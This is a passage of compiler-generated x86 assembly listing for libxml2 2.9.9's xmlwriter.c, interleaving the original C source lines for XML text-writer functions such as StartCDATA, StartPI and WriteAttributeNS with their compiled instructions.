ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN11@xmlTextWri ; 2696 : int count; ; 2697 : int sum; ; 2698 : xmlLinkPtr lk; ; 2699 : xmlTextWriterStackEntry *p; ; 2700 : ; 2701 : if (writer == NULL) ; 2702 : return -1; ; 2703 : ; 2704 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 2705 : if (lk == 0) test eax, eax je SHORT $LN11@xmlTextWri ; 2706 : return -1; ; 2707 : ; 2708 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 2709 : if (p == 0) test eax, eax je SHORT $LN11@xmlTextWri ; 2710 : return -1; ; 2711 : ; 2712 : sum = 0; ; 2713 : switch (p->state) { cmp DWORD PTR [eax+4], 6 jne SHORT $LN11@xmlTextWri ; 2714 : case XML_TEXTWRITER_CDATA: ; 2715 : count = xmlOutputBufferWriteString(writer->out, "]]>"); push OFFSET ??_C@_03MCHNFBAC@?$FN?$FN?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 2716 : if (count < 0) test edi, edi js SHORT $LN11@xmlTextWri ; 2718 : sum += count; ; 2719 : break; ; 2720 : default: ; 2721 : return -1; ; 2722 : } ; 2723 : ; 2724 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 2725 : return sum; mov eax, edi pop edi ; 2726 : } pop esi pop ebp ret 0 $LN11@xmlTextWri: pop edi ; 2717 : return -1; or eax, -1 ; 2726 : } pop esi pop ebp ret 0 _xmlTextWriterEndCDATA ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartCDATA _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterStartCDATA PROC ; COMDAT ; 2616 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je $LN18@xmlTextWri ; 2617 : int count; ; 2618 : int sum; ; 2619 : xmlLinkPtr lk; ; 2620 : xmlTextWriterStackEntry *p; ; 2621 : ; 2622 : if (writer == NULL) ; 2623 : return -1; ; 2624 : ; 2625 : sum = 0; push DWORD PTR [esi+4] xor edi, edi ; 2626 : lk = xmlListFront(writer->nodes); call _xmlListFront add esp, 4 ; 2627 : if (lk != 0) { test eax, eax je SHORT $LN2@xmlTextWri ; 2628 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 2629 : if (p != 0) { test ebx, ebx je SHORT $LN2@xmlTextWri ; 2630 : switch (p->state) { mov eax, DWORD PTR [ebx+4] cmp eax, 6 ja SHORT $LN18@xmlTextWri jmp DWORD PTR $LN21@xmlTextWri[eax*4] $LN8@xmlTextWri: ; 2631 : case XML_TEXTWRITER_NONE: ; 2632 : case XML_TEXTWRITER_TEXT: ; 2633 : case XML_TEXTWRITER_PI: ; 2634 : case XML_TEXTWRITER_PI_TEXT: ; 2635 : break; ; 2636 : case XML_TEXTWRITER_ATTRIBUTE: ; 2637 : count = xmlTextWriterEndAttribute(writer); push esi call _xmlTextWriterEndAttribute mov edi, eax add esp, 4 ; 2638 : if (count < 0) test edi, edi js SHORT $LN18@xmlTextWri $LN10@xmlTextWri: ; 2639 : return -1; ; 2640 : sum += count; ; 2641 : /* fallthrough */ ; 2642 : case XML_TEXTWRITER_NAME: ; 2643 : /* Output namespace declarations */ ; 2644 : count = xmlTextWriterOutputNSDecl(writer); push esi call _xmlTextWriterOutputNSDecl add esp, 4 ; 2645 : if (count < 0) test eax, eax js SHORT $LN18@xmlTextWri ; 2646 : return -1; ; 2647 : sum += count; ; 2648 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 2649 : if (count < 0) test eax, eax js SHORT $LN18@xmlTextWri ; 2650 : return -1; ; 2651 : sum += count; add edi, eax ; 2652 : p->state = XML_TEXTWRITER_TEXT; mov DWORD PTR [ebx+4], 3 $LN2@xmlTextWri: ; 2656 : "xmlTextWriterStartCDATA : CDATA not allowed in this context!\n"); ; 2657 : return -1; ; 2658 : default: ; 2659 : return -1; ; 2660 : } ; 2661 : } ; 2662 : } ; 2663 : ; 2664 : p = (xmlTextWriterStackEntry *) push 8 call DWORD PTR _xmlMalloc add esp, 4 ; 2665 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 2666 : if (p == 0) { test eax, eax jne SHORT $LN15@xmlTextWri ; 2667 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CK@FMBLGDPB@xmlTextWriterStartCDATA?5?3?5out?5o@ push 2 ; 2681 : ; 2682 : return sum; ; 2683 : } push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH $LN18@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 $LN13@xmlTextWri: ; 2653 : break; ; 2654 : case XML_TEXTWRITER_CDATA: ; 2655 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0DO@LGFOPFHE@xmlTextWriterStartCDATA?5?3?5CDATA@ push 1 ; 2681 : ; 2682 : return sum; ; 2683 : } push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN15@xmlTextWri: ; 2668 : "xmlTextWriterStartCDATA : out of memory!\n"); ; 2669 : return -1; ; 2670 : } ; 2671 : ; 2672 : p->name = NULL; ; 2673 : p->state = XML_TEXTWRITER_CDATA; ; 2674 : ; 2675 : xmlListPushFront(writer->nodes, p); push eax mov DWORD PTR [eax], 0 mov DWORD PTR [eax+4], 6 push DWORD PTR [esi+4] call _xmlListPushFront ; 2676 : ; 2677 : count = xmlOutputBufferWriteString(writer->out, "<![CDATA["); push OFFSET ??_C@_09BLLNCBLF@?$DM?$CB?$FLCDATA?$FL@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 16 ; 00000010H ; 2678 : if (count < 0) test eax, eax js SHORT $LN18@xmlTextWri ; 2679 : return -1; ; 2680 : sum += count; add eax, edi pop edi ; 2681 : ; 2682 : return sum; ; 2683 : } pop esi pop ebx pop ebp ret 0 npad 1 $LN21@xmlTextWri: DD $LN2@xmlTextWri DD $LN10@xmlTextWri DD $LN8@xmlTextWri DD $LN2@xmlTextWri DD $LN2@xmlTextWri DD $LN2@xmlTextWri DD $LN13@xmlTextWri _xmlTextWriterStartCDATA ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWritePI _TEXT SEGMENT _writer$ = 8 ; size = 4 _target$ = 12 ; size = 4 _content$ = 16 ; size = 4 _xmlTextWriterWritePI PROC ; COMDAT ; 2583 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _target$[ebp] mov edi, DWORD PTR _writer$[ebp] push edi call _xmlTextWriterStartPI mov esi, eax add esp, 8 cmp esi, -1 je SHORT $LN7@xmlTextWri ; 2584 : int count; ; 2585 : int sum; ; 2586 : ; 2587 : sum = 0; ; 2588 : count = xmlTextWriterStartPI(writer, target); ; 2589 : if (count == -1) ; 2590 : return -1; ; 2591 : sum += count; ; 2592 : if (content != 0) { mov eax, DWORD PTR _content$[ebp] test eax, eax je SHORT $LN3@xmlTextWri ; 2593 : count = xmlTextWriterWriteString(writer, content); push eax push edi call _xmlTextWriterWriteString add esp, 8 ; 2594 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 2595 : return -1; ; 2596 : sum += count; add esi, eax $LN3@xmlTextWri: ; 2597 : } ; 2598 : count = xmlTextWriterEndPI(writer); push edi call _xmlTextWriterEndPI add esp, 4 ; 2599 : if (count == -1) cmp eax, -1 je SHORT $LN7@xmlTextWri ; 2601 : sum += count; pop edi add eax, esi ; 2602 : ; 2603 : return sum; ; 2604 : } pop esi pop ebp ret 0 $LN7@xmlTextWri: pop edi ; 2600 : return -1; or eax, -1 ; 2602 : ; 2603 : return sum; ; 2604 : } pop esi pop ebp ret 0 _xmlTextWriterWritePI ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatPI _TEXT SEGMENT _writer$ = 8 ; size = 4 _target$ = 12 ; size = 4 _format$ = 16 ; size = 4 _argptr$ = 20 ; size = 4 _xmlTextWriterWriteVFormatPI PROC ; COMDAT ; 2553 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 2554 : int rc; ; 2555 : xmlChar *buf; ; 2556 : ; 2557 : if (writer == NULL) ; 2558 : return -1; ; 2559 : ; 2560 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2561 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 2563 : ; 2564 : rc = xmlTextWriterWritePI(writer, target, buf); push edi push DWORD PTR _target$[ebp] push esi call _xmlTextWriterWritePI ; 2565 : ; 2566 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 2567 : return rc; mov eax, esi pop edi ; 2568 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 2562 : return -1; or eax, -1 ; 2568 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatPI ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatPI _TEXT SEGMENT _writer$ = 8 ; size = 4 _target$ = 12 ; size = 4 _format$ = 16 ; size = 4 _xmlTextWriterWriteFormatPI PROC ; COMDAT ; 2526 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 2557 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 2527 : int rc; ; 2528 : va_list ap; ; 2529 : ; 2530 : va_start(ap, format); ; 2531 : ; 2532 : rc = xmlTextWriterWriteVFormatPI(writer, target, format, ap); ; 2533 : ; 2534 : va_end(ap); ; 2535 : return rc; or eax, -1 pop esi ; 2536 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 2560 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2561 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 2527 : int rc; ; 2528 : va_list ap; ; 2529 : ; 2530 : va_start(ap, format); ; 2531 : ; 2532 : rc = xmlTextWriterWriteVFormatPI(writer, target, format, ap); ; 2533 : ; 2534 : va_end(ap); ; 2535 : return rc; pop edi or eax, -1 pop esi ; 2536 : } pop ebp ret 0 $LN5@xmlTextWri: ; 2564 : rc = xmlTextWriterWritePI(writer, target, buf); push edi push DWORD PTR _target$[ebp] push esi call _xmlTextWriterWritePI ; 2565 : ; 2566 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 2527 : int rc; ; 2528 : va_list ap; ; 2529 : ; 2530 : va_start(ap, format); ; 2531 : ; 2532 : rc = xmlTextWriterWriteVFormatPI(writer, target, format, ap); ; 2533 : ; 2534 : va_end(ap); ; 2535 : return rc; mov eax, esi pop edi pop esi ; 2536 : } pop ebp ret 0 _xmlTextWriterWriteFormatPI ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterEndPI _TEXT SEGMENT _writer$ = 8 ; size = 4 _xmlTextWriterEndPI PROC ; COMDAT ; 2471 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN9@xmlTextWri ; 2472 : int count; ; 2473 : int sum; ; 2474 : xmlLinkPtr lk; ; 2475 : xmlTextWriterStackEntry *p; ; 2476 : ; 2477 : if (writer == NULL) ; 2478 : return -1; ; 2479 : ; 2480 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListFront add esp, 4 ; 2481 : if (lk == 0) test eax, eax je SHORT $LN13@xmlTextWri ; 2482 : return 0; ; 2483 : ; 2484 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData add esp, 4 ; 2485 : if (p == 0) test eax, eax je SHORT $LN13@xmlTextWri ; 2487 : ; 2488 : sum = 0; ; 2489 : switch (p->state) { mov eax, DWORD PTR [eax+4] add eax, -4 ; fffffffcH cmp eax, 1 ja SHORT $LN9@xmlTextWri ; 2490 : case XML_TEXTWRITER_PI: ; 2491 : case XML_TEXTWRITER_PI_TEXT: ; 2492 : count = xmlOutputBufferWriteString(writer->out, "?>"); push OFFSET ??_C@_02GOEMJPDN@?$DP?$DO@ push DWORD PTR [esi] call _xmlOutputBufferWriteString mov edi, eax add esp, 8 ; 2493 : if (count < 0) test edi, edi js SHORT $LN9@xmlTextWri ; 2499 : } ; 2500 : ; 2501 : if (writer->indent) { cmp DWORD PTR [esi+16], 0 je SHORT $LN10@xmlTextWri ; 2502 : count = xmlOutputBufferWriteString(writer->out, "\n"); push OFFSET ??_C@_01EEMJAFIK@?6@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 2503 : if (count < 0) test eax, eax js SHORT $LN9@xmlTextWri ; 2504 : return -1; ; 2505 : sum += count; add edi, eax $LN10@xmlTextWri: ; 2506 : } ; 2507 : ; 2508 : xmlListPopFront(writer->nodes); push DWORD PTR [esi+4] call _xmlListPopFront add esp, 4 ; 2509 : return sum; mov eax, edi pop edi ; 2510 : } pop esi pop ebp ret 0 $LN13@xmlTextWri: pop edi ; 2486 : return 0; xor eax, eax ; 2510 : } pop esi pop ebp ret 0 $LN9@xmlTextWri: pop edi ; 2494 : return -1; ; 2495 : sum += count; ; 2496 : break; ; 2497 : default: ; 2498 : return -1; or eax, -1 ; 2510 : } pop esi pop ebp ret 0 _xmlTextWriterEndPI ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterStartPI _TEXT SEGMENT _writer$ = 8 ; size = 4 _target$ = 12 ; size = 4 _xmlTextWriterStartPI PROC ; COMDAT ; 2375 : { push ebp mov ebp, esp push ebx push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 2376 : int count; ; 2377 : int sum; ; 2378 : xmlLinkPtr lk; ; 2379 : xmlTextWriterStackEntry *p; ; 2380 : ; 2381 : if ((writer == NULL) || (target == NULL) || (*target == '\0')) mov eax, DWORD PTR _target$[ebp] test eax, eax je SHORT $LN5@xmlTextWri cmp BYTE PTR [eax], 0 je SHORT $LN5@xmlTextWri ; 2382 : return -1; ; 2383 : ; 2384 : if (xmlStrcasecmp(target, (const xmlChar *) "xml") == 0) { push OFFSET ??_C@_03PJHHNEEI@xml@ push eax call _xmlStrcasecmp add esp, 8 test eax, eax jne SHORT $LN6@xmlTextWri ; 2385 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0FG@KFBLHCOM@xmlTextWriterStartPI?5?3?5target?5n@ ; 2457 : ; 2458 : return sum; ; 2459 : } push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH $LN5@xmlTextWri: pop edi pop esi or eax, -1 pop ebx pop ebp ret 0 $LN6@xmlTextWri: ; 2386 : "xmlTextWriterStartPI : target name [Xx][Mm][Ll] is reserved for xml standardization!\n"); ; 2387 : return -1; ; 2388 : } ; 2389 : ; 2390 : sum = 0; ; 2391 : lk = xmlListFront(writer->nodes); push DWORD PTR [esi+4] xor edi, edi call _xmlListFront add esp, 4 ; 2392 : if (lk != 0) { test eax, eax je SHORT $LN2@xmlTextWri ; 2393 : p = (xmlTextWriterStackEntry *) xmlLinkGetData(lk); push eax call _xmlLinkGetData mov ebx, eax add esp, 4 ; 2394 : if (p != 0) { test ebx, ebx je SHORT $LN2@xmlTextWri ; 2395 : switch (p->state) { mov eax, DWORD PTR [ebx+4] cmp eax, 7 ja SHORT $LN5@xmlTextWri jmp DWORD PTR $LN25@xmlTextWri[eax*4] $LN9@xmlTextWri: ; 2396 : case XML_TEXTWRITER_ATTRIBUTE: ; 2397 : count = xmlTextWriterEndAttribute(writer); push esi call _xmlTextWriterEndAttribute mov edi, eax add esp, 4 ; 2398 : if (count < 0) test edi, edi js SHORT $LN5@xmlTextWri $LN11@xmlTextWri: ; 2399 : return -1; ; 2400 : sum += count; ; 2401 : /* fallthrough */ ; 2402 : case XML_TEXTWRITER_NAME: ; 2403 : /* Output namespace declarations */ ; 2404 : count = xmlTextWriterOutputNSDecl(writer); push esi call _xmlTextWriterOutputNSDecl add esp, 4 ; 2405 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 2406 : return -1; ; 2407 : sum += count; ; 2408 : count = xmlOutputBufferWriteString(writer->out, ">"); push OFFSET ??_C@_01PPODPGHN@?$DO@ push DWORD PTR [esi] add edi, eax call _xmlOutputBufferWriteString add esp, 8 ; 2409 : if (count < 0) test eax, eax js SHORT $LN5@xmlTextWri ; 2410 : return -1; ; 2411 : sum += count; add edi, eax ; 2412 : p->state = XML_TEXTWRITER_TEXT; mov DWORD PTR [ebx+4], 3 $LN2@xmlTextWri: ; 2421 : "xmlTextWriterStartPI : nested PI!\n"); ; 2422 : return -1; ; 2423 : default: ; 2424 : return -1; ; 2425 : } ; 2426 : } ; 2427 : } ; 2428 : ; 2429 : p = (xmlTextWriterStackEntry *) push 8 call DWORD PTR _xmlMalloc mov ebx, eax add esp, 4 ; 2430 : xmlMalloc(sizeof(xmlTextWriterStackEntry)); ; 2431 : if (p == 0) { test ebx, ebx jne SHORT $LN17@xmlTextWri ; 2432 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@ push 2 ; 2457 : ; 2458 : return sum; ; 2459 : } push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN15@xmlTextWri: ; 2413 : break; ; 2414 : case XML_TEXTWRITER_NONE: ; 2415 : case XML_TEXTWRITER_TEXT: ; 2416 : case XML_TEXTWRITER_DTD: ; 2417 : break; ; 2418 : case XML_TEXTWRITER_PI: ; 2419 : case XML_TEXTWRITER_PI_TEXT: ; 2420 : xmlWriterErrMsg(writer, XML_ERR_INTERNAL_ERROR, push OFFSET ??_C@_0CD@KBFLMPAO@xmlTextWriterStartPI?5?3?5nested?5P@ ; 2457 : ; 2458 : return sum; ; 2459 : } push 1 push esi call _xmlWriterErrMsg add esp, 12 ; 0000000cH or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN17@xmlTextWri: ; 2433 : "xmlTextWriterStartPI : out of memory!\n"); ; 2434 : return -1; ; 2435 : } ; 2436 : ; 2437 : p->name = xmlStrdup(target); push DWORD PTR _target$[ebp] call _xmlStrdup add esp, 4 mov DWORD PTR [ebx], eax ; 2438 : if (p->name == 0) { test eax, eax jne SHORT $LN18@xmlTextWri ; 2439 : xmlWriterErrMsg(writer, XML_ERR_NO_MEMORY, push OFFSET ??_C@_0CH@IKGNFAGK@xmlTextWriterStartPI?5?3?5out?5of?5m@ push 2 push esi call _xmlWriterErrMsg ; 2440 : "xmlTextWriterStartPI : out of memory!\n"); ; 2441 : xmlFree(p); push ebx call DWORD PTR _xmlFree add esp, 16 ; 00000010H ; 2457 : ; 2458 : return sum; ; 2459 : } or eax, -1 pop edi pop esi pop ebx pop ebp ret 0 $LN18@xmlTextWri: ; 2442 : return -1; ; 2443 : } ; 2444 : p->state = XML_TEXTWRITER_PI; mov DWORD PTR [ebx+4], 4 ; 2445 : ; 2446 : xmlListPushFront(writer->nodes, p); push ebx push DWORD PTR [esi+4] call _xmlListPushFront ; 2447 : ; 2448 : count = xmlOutputBufferWriteString(writer->out, "<?"); push OFFSET ??_C@_02HFBBBACF@?$DM?$DP@ push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 16 ; 00000010H ; 2449 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 2450 : return -1; ; 2451 : sum += count; ; 2452 : count = push DWORD PTR [ebx] add edi, eax push DWORD PTR [esi] call _xmlOutputBufferWriteString add esp, 8 ; 2453 : xmlOutputBufferWriteString(writer->out, (const char *) p->name); ; 2454 : if (count < 0) test eax, eax js $LN5@xmlTextWri ; 2455 : return -1; ; 2456 : sum += count; add eax, edi pop edi ; 2457 : ; 2458 : return sum; ; 2459 : } pop esi pop ebx pop ebp ret 0 npad 1 $LN25@xmlTextWri: DD $LN2@xmlTextWri DD $LN11@xmlTextWri DD $LN9@xmlTextWri DD $LN2@xmlTextWri DD $LN15@xmlTextWri DD $LN15@xmlTextWri DD $LN5@xmlTextWri DD $LN2@xmlTextWri _xmlTextWriterStartPI ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteAttributeNS _TEXT SEGMENT _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _content$ = 24 ; size = 4 _xmlTextWriterWriteAttributeNS PROC ; COMDAT ; 2134 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN3@xmlTextWri ; 2135 : int count; ; 2136 : int sum; ; 2137 : ; 2138 : if ((writer == NULL) || (name == NULL) || (*name == '\0')) mov eax, DWORD PTR _name$[ebp] test eax, eax je SHORT $LN3@xmlTextWri cmp BYTE PTR [eax], 0 je SHORT $LN3@xmlTextWri ; 2140 : ; 2141 : sum = 0; ; 2142 : count = xmlTextWriterStartAttributeNS(writer, prefix, name, namespaceURI); push DWORD PTR _namespaceURI$[ebp] push eax push DWORD PTR _prefix$[ebp] push esi call _xmlTextWriterStartAttributeNS mov edi, eax add esp, 16 ; 00000010H ; 2143 : if (count < 0) test edi, edi js SHORT $LN3@xmlTextWri ; 2144 : return -1; ; 2145 : sum += count; ; 2146 : count = xmlTextWriterWriteString(writer, content); push DWORD PTR _content$[ebp] push esi call _xmlTextWriterWriteString add esp, 8 ; 2147 : if (count < 0) test eax, eax js SHORT $LN3@xmlTextWri ; 2148 : return -1; ; 2149 : sum += count; ; 2150 : count = xmlTextWriterEndAttribute(writer); push esi add edi, eax call _xmlTextWriterEndAttribute add esp, 4 ; 2151 : if (count < 0) test eax, eax js SHORT $LN3@xmlTextWri ; 2152 : return -1; ; 2153 : sum += count; add eax, edi pop edi ; 2154 : ; 2155 : return sum; ; 2156 : } pop esi pop ebp ret 0 $LN3@xmlTextWri: pop edi ; 2139 : return -1; or eax, -1 ; 2154 : ; 2155 : return sum; ; 2156 : } pop esi pop ebp ret 0 _xmlTextWriterWriteAttributeNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteVFormatAttributeNS _TEXT SEGMENT _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _format$ = 24 ; size = 4 _argptr$ = 28 ; size = 4 _xmlTextWriterWriteVFormatAttributeNS PROC ; COMDAT ; 2099 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 mov esi, DWORD PTR _writer$[ebp] test esi, esi je SHORT $LN5@xmlTextWri ; 2100 : int rc; ; 2101 : xmlChar *buf; ; 2102 : ; 2103 : if (writer == NULL) ; 2104 : return -1; ; 2105 : ; 2106 : buf = xmlTextWriterVSprintf(format, argptr); push DWORD PTR _argptr$[ebp] push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2107 : if (buf == NULL) test edi, edi je SHORT $LN5@xmlTextWri ; 2109 : ; 2110 : rc = xmlTextWriterWriteAttributeNS(writer, prefix, name, namespaceURI, push edi push DWORD PTR _namespaceURI$[ebp] push DWORD PTR _name$[ebp] push DWORD PTR _prefix$[ebp] push esi call _xmlTextWriterWriteAttributeNS ; 2111 : buf); ; 2112 : ; 2113 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 24 ; 00000018H ; 2114 : return rc; mov eax, esi pop edi ; 2115 : } pop esi pop ebp ret 0 $LN5@xmlTextWri: pop edi ; 2108 : return -1; or eax, -1 ; 2115 : } pop esi pop ebp ret 0 _xmlTextWriterWriteVFormatAttributeNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteFormatAttributeNS _TEXT SEGMENT _writer$ = 8 ; size = 4 _prefix$ = 12 ; size = 4 _name$ = 16 ; size = 4 _namespaceURI$ = 20 ; size = 4 _format$ = 24 ; size = 4 _xmlTextWriterWriteFormatAttributeNS PROC ; COMDAT ; 2067 : { push ebp mov ebp, esp push esi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 ; 2103 : if (writer == NULL) mov esi, DWORD PTR _writer$[ebp] test esi, esi jne SHORT $LN4@xmlTextWri ; 2068 : int rc; ; 2069 : va_list ap; ; 2070 : ; 2071 : va_start(ap, format); ; 2072 : ; 2073 : rc = xmlTextWriterWriteVFormatAttributeNS(writer, prefix, name, ; 2074 : namespaceURI, format, ap); ; 2075 : ; 2076 : va_end(ap); ; 2077 : return rc; or eax, -1 pop esi ; 2078 : } pop ebp ret 0 $LN4@xmlTextWri: push edi ; 2106 : buf = xmlTextWriterVSprintf(format, argptr); lea eax, DWORD PTR _format$[ebp+4] push eax push DWORD PTR _format$[ebp] call _xmlTextWriterVSprintf mov edi, eax add esp, 8 ; 2107 : if (buf == NULL) test edi, edi jne SHORT $LN5@xmlTextWri ; 2068 : int rc; ; 2069 : va_list ap; ; 2070 : ; 2071 : va_start(ap, format); ; 2072 : ; 2073 : rc = xmlTextWriterWriteVFormatAttributeNS(writer, prefix, name, ; 2074 : namespaceURI, format, ap); ; 2075 : ; 2076 : va_end(ap); ; 2077 : return rc; pop edi or eax, -1 pop esi ; 2078 : } pop ebp ret 0 $LN5@xmlTextWri: ; 2110 : rc = xmlTextWriterWriteAttributeNS(writer, prefix, name, namespaceURI, push edi push DWORD PTR _namespaceURI$[ebp] push DWORD PTR _name$[ebp] push DWORD PTR _prefix$[ebp] push esi call _xmlTextWriterWriteAttributeNS ; 2111 : buf); ; 2112 : ; 2113 : xmlFree(buf); push edi mov esi, eax call DWORD PTR _xmlFree add esp, 24 ; 00000018H ; 2068 : int rc; ; 2069 : va_list ap; ; 2070 : ; 2071 : va_start(ap, format); ; 2072 : ; 2073 : rc = xmlTextWriterWriteVFormatAttributeNS(writer, prefix, name, ; 2074 : namespaceURI, format, ap); ; 2075 : ; 2076 : va_end(ap); ; 2077 : return rc; mov eax, esi pop edi pop esi ; 2078 : } pop ebp ret 0 _xmlTextWriterWriteFormatAttributeNS ENDP _TEXT ENDS ; Function compile flags: /Ogtp ; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xmlwriter.c ; COMDAT _xmlTextWriterWriteAttribute _TEXT SEGMENT _writer$ = 8 ; size = 4 _name$ = 12 ; size = 4 _content$ = 16 ; size = 4 _xmlTextWriterWriteAttribute PROC ; COMDAT ; 2027 : { push ebp mov ebp, esp push esi push edi mov ecx, OFFSET __DA396148_xmlwriter@c call @__CheckForDebuggerJustMyCode@4 push DWORD PTR _name$[ebp] mov edi, DWORD PTR _writer$[ebp] push edi call _xmlTextWriterStartAttribute mov esi, eax add esp, 8 test esi, esi js SHORT $LN40@xmlTextWri ; 2028 : int count; ; 2029 : int sum; ; 2030 : ; 2031 : sum = 0; ; 2032 : count = xmlTextWriterStartAttribute(writer, name); ; 2033 : if (count < 0) ; 2034 : return -1; ; 2035 : sum += count; ; 2036 : count = 